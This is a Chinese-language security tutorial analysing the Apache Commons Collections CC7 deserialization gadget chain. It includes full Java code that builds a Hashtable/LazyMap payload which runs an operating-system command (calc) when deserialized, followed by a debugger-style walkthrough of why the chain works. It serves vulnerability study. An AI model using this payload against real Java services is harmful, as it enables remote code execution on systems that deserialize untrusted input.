本文講解的該鏈是原生ysoserial
中的最後一條CC鏈,可是實際上並非的。在後來隨着後面各位大佬們挖掘利用鏈,CC8,9,10的鏈誕生,也被內置到ysoserial
裏面。在該鏈中其實和CC6也是相似,可是CC7利用鏈中是使用Hashtable
做爲反序列化的入口點。java
package com.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class cc7 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { // Reusing transformer chain and LazyMap gadgets from previous payloads final String[] execArgs = new String[]{"calc"}; final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); final Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); // Use the colliding Maps as keys in Hashtable Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); // Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // Needed to ensure hash collision after previous manipulations lazyMap2.remove("yy"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out")); objectOutputStream.writeObject(hashtable); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out")); objectInputStream.readObject(); // return hashtable; } }
這裏依舊是提取重要代碼出來去作了一個簡化。web
拋去和前面重複的部分,下面分爲三段代碼去進行分析。apache
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2);
在這段代碼中,實例化了兩個 HashMap
,並對兩個 HashMap
使用了LazyMap
將transformerChain
和 HashMap
json
綁定到一塊兒。而後分別添加到 Hashtable
中, 可是前面看到的都是使用一次,爲何這裏須要重複2次重複的操做呢?安全
下面來分析一下。工具
Hashtable
的reconstitutionPut
方法是被遍歷調用的,this
第一次調用的時候,並不會走入到reconstitutionPut
方法for循環裏面,由於tab[index]
的內容是空的,在下面會對tab[index]
進行賦值。在第二次調用reconstitutionPut
時,tab中才有內容,咱們纔有機會進入到這個for循環中,從而調用equals
方法。這也是爲何要調用兩次put的緣由。調試
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy");
前面的三段代碼其實就是爲了防止在序列化的時候,本地進行命令執行,前面先定義好一個空的,後面再使用反射將他的iTransformers
進行替換。code
其實最主要的是後面的lazyMap2.remove
這個步驟。至於爲何須要在最後面移除該值,其實在LazyMap
的get方法裏面就能夠看到。orm
若是不移除該方法就會走不進該判斷條件的代碼塊中。然後面也會再調用一次put方法。
依舊是在readobjetc
的複寫點打一個斷點,這裏面用到的是Hashtable
的readobjetc
做爲入口點。
在其中會調用到reconstitutionPut
方法,跟進一下。
前面說過,第一遍調用的時候,tab[index]
是爲空的,須要跟進到第二步的執行裏面去查看。
在第二遍執行的時候就會進行到for循環裏面,而且調用到key
的equals
方法。跟進一下該方法。
AbstractMapDecorator
的equals
方法會去調用this.map
的equals
。跟進一下。
下面代碼還會繼續調用m.get
方法,在這裏的m爲LazyMap
對象。
在最後就來到了LazyMap.get
這一步,其實就比較清晰了。後面的和前面分析的幾條鏈都同樣。這裏就不作分析了。
分析完了這一系列的CC鏈,後面就打算分析Fastjson、shiro、weblogic等反序列化漏洞,再後面就是開始寫反序列化工具集了。